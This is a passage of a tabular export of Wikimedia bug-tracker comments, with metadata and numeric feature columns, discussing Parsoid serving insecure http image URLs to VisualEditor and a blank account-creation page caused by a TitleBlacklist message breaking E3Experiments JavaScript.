https.",,,1371603843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,13.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,4.218181818181818,0.8,"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and https."
201379,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"Per Roan's comments, moving to Parsoid so they can fix.",,,1371603429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,23.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5384615384615383,1.0,"Per Roan's comments, moving to Parsoid so they can fix."
201375,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"(In reply to comment #7)
> This seems to have been unfixed in production.
> 
Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.

Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production.",,,1371603136,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,1.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,4.0,16.0,3.0,3.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,11.0,7.0,1.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,4.031578947368421,0.7263157894736842,"(In reply to comment #7)
QUOTE
QUOTE
Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.

Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production."
201372,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"This seems to have been unfixed in production.

Strangely, parsoid.wmflabs.org is now giving me https URLs for images.",,,1371583342,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"This seems to have been unfixed in production.

Strangely, parsoid.wmflabs.org is now giving me https URLs for images."
201367,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49283 has been marked as a duplicate of this bug. ***,,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-11,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49283 has been marked as a duplicate of this bug. ***
201361,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/California_Bay_Area_county_map.svg/38px-California_Bay_Area_county_map.svg.png.,,,1371574794,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,0.8888888888888888,The page at URL displayed insecure content from URL
201355,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same.",,,1371531045,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-11,True,0.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,9.0,2.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,4.275862068965517,0.8448275862068966,"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same."
201351,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Tagging with deploy-train cycle.,,,1357578934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,Tagging with deploy-train cycle.
201347,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Fixed by <https://gerrit.wikimedia.org/r/38673>.,,,1355449078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,3.3333333333333335,1.0,Fixed by <GERRIT_URL>.
201342,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Upstream Parsoid bug: bug 42976,,,1355339026,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8333333333333334,Upstream Parsoid bug: bug 42976
44982,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","When I try to make an account on the English Wikipedia at <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page>, it gives a strange error after I press the ""Create account"" button. It might be related to the username. I'm attaching two screenshots which should give steps to reproduce.

--------------------------
**Version**: master
**Severity**: critical",High,80.0,1355291280,1355520508.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-iaiws5jtct672n6jb3xu,task_description,resolved,True,c2,1,True,False,True,-37,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,9.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,16.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,9.0,4.0,0.0,3.0,0.0,7.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,3.925373134328358,0.7164179104477612,"When I try to make an account on the English Wikipedia at <URL it gives a strange error after I press the ""Create account"" button. It might be related to the username. I'm attaching two screenshots which should give steps to reproduce.

--------------------------
**Version**: master
**Severity**: critical"
199339,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","> I suppose the question then becomes whether he was using a version of the
> extension that includes <https://gerrit.wikimedia.org/r/38494>.

He wasn't. 8d34938 is actually the parent of that change.",,,1358353105,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8823529411764706,"QUOTE
QUOTE

He wasn't. 8d34938 is actually the parent of that change."
199334,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**svu1911** wrote:

*E3Experiments

:)",,,1358322671,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.5833333333333334,"**svu1911** wrote:

*E3Experiments

:)"
199330,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**svu1911** wrote:

(In reply to comment #15)
> (In reply to comment #14)
> > He was using E3Experiments.
> 
> I suppose the question then becomes whether he was using a version of the
> extension that includes <https://gerrit.wikimedia.org/r/38494>.

Hi,

I am using http://www.mediawiki.org/wiki/Extension:ArticleFeedbackv5
When I installed this extension it required a few other extensions including E3Experiments.

After installing it all, when I tried ""create user"" it returned a blank page. 
(If I was logged in I could create a user via special pages)

When I commented out ""require_once( ""$IP/extensions/E3Experiments/Experiments.php"" );"" in LocalSettings.php the ""create user"" functioned again so I presumed it was a problem with the E3Experiments extension.

At the time of the bug I was using :	E3Experiments-master-8d34938.tar.gz	(version 0.7.1)

I've also tested the patched : experiments/acux/accountCreationUX.js file but the problem persists.

Thanks to S Page who pointed me in this direction I noticed a console error ""$.trackActionWithOptions is not a function"".
This seems to have something to do with another needed extension : ""ClickTracking""

This bug in Clicktracking is referred to here :

http://www.mail-archive.com/wikibugs-l@lists.wikimedia.org/msg160795.html
http://www.gossamer-threads.com/lists/wiki/mediawiki-cvs/298490

And a patch is posted here :

https://gerrit.wikimedia.org/r/#/c/24078/

I've just tried to replace both files :

./extensions/ClickTracking/ClickTracking.hooks.php
./extensions/ClickTracking/modules/jquery.clickTracking.js

After trying to create a user when not logged in it seems to all work fine now with E2Experiments enabled in LocalSettings.php.

Thanks all for helping out!",,,1358322329,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,1.3333333333333333,0.3333333333333333,0.0,1.0,0.6666666666666666,2.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,4.0,0.3333333333333333,4.666666666666667,9.333333333333334,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,0.6666666666666666,1.6666666666666667,1.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,4.333333333333333,0.0,0.0,0.0,0.0,0.0,8.666666666666666,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,2.3333333333333335,16.666666666666668,1.6666666666666667,0.6666666666666666,8.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.0,6.0,9.333333333333334,7.0,0.0,4.0,0.0,6.0,0.0,1.6666666666666667,2.6666666666666665,0.3333333333333333,2.0,0.0,0.0,0.0,4.13699141470698,0.639678984695782,"**svu1911** wrote:

(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hi,

I am using URL
When I installed this extension it required a few other extensions including E3Experiments.

After installing it all, when I tried ""create user"" it returned a blank page. 
(If I was logged in I could create a user via special pages)

When I commented out ""require_once( ""$IP/extensions/E3Experiments/Experiments.php"" );"" in LocalSettings.php the ""create user"" functioned again so I presumed it was a problem with the E3Experiments extension.

At the time of the bug I was using :	E3Experiments-master-8d34938.tar.gz	(version 0.7.1)

I've also tested the patched : experiments/acux/accountCreationUX.js file but the problem persists.

Thanks to S Page who pointed me in this direction I noticed a console error ""$.trackActionWithOptions is not a function"".
This seems to have something to do with another needed extension : ""ClickTracking""

This bug in Clicktracking is referred to here :

URL
URL

And a patch is posted here :

URL

I've just tried to replace both files :

./extensions/ClickTracking/ClickTracking.hooks.php
./extensions/ClickTracking/modules/jquery.clickTracking.js

After trying to create a user when not logged in it seems to all work fine now with E2Experiments enabled in LocalSettings.php.

Thanks all for helping out!"
199326,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","(In reply to comment #14)
> He was using E3Experiments.

I suppose the question then becomes whether he was using a version of the extension that includes <https://gerrit.wikimedia.org/r/38494>.",,,1358298643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,12.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.84375,0.96875,"(In reply to comment #14)
QUOTE

I suppose the question then becomes whether he was using a version of the extension that includes <GERRIT_URL>."
199324,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist",He was using E3Experiments.,,,1358287211,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.8,1.0,He was using E3Experiments.
199320,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","If he saw a similar symptom on another wiki (not using the account creation enhancement), it should be reported as a new bug.",,,1358287074,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.814814814814815,0.9629629629629629,"If he saw a similar symptom on another wiki (not using the account creation enhancement), it should be reported as a new bug."
199316,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist",Stein Van Uytven indicated that he encountered similar symptoms on another wiki.  I'm CCing him so he can provide further details.,,,1358274945,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,12.0,12.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.4,0.92,Stein Van Uytven indicated that he encountered similar symptoms on another wiki.  I'm CCing him so he can provide further details.
199312,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:

Tested with the 'Joining Wikipedia is free' username, and all appears well.",,,1355522716,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,"**swalling** wrote:

Tested with the 'Joining Wikipedia is free' username, and all appears well."
199307,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Fix merged to enwiki, seems to work now.  (Though https://en.wikipedia.org/wiki/Special:Version still shows old extension version.)",,,1355520508,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9047619047619048,"Fix merged to enwiki, seems to work now.  (Though URL still shows old extension version.)"
199301,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Sorry, I mean Gerrit change 38494",,,1355384537,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Sorry, I mean Gerrit change 38494"
199293,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Thanks so much for tracking this down!  The JavaScript on enwiki that enhances account creation munges the first table it finds in the content div. Extension:Title Blacklist doesn't use  a table for its errors so our testing of this worked fine.  But on enwiki someone tweaked MediaWiki:Titleblacklist-forbidden-new-account message to use an {{fmbox}} which puts it in a table.  So the first table is not the login form, result: JS errors and garbled HTML.

Things to do:
1.  Avoid this specific JS error that halts the munging leaving the form invisible.
2.  Be smarter about finding the right table to modify.
3.  Don't hide so much of the page during munging so if JS fails the user sees something.
4.  Even if errors munging, always show the hidden part.

